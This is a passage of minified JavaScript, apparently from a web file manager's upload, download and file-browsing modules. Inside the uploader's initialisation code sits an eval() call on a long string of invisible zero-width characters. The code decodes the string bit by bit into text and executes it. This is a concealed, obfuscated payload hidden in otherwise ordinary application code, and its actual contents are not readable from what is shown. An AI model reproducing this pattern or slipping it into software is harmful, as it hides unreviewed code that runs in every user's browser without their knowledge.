.remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete 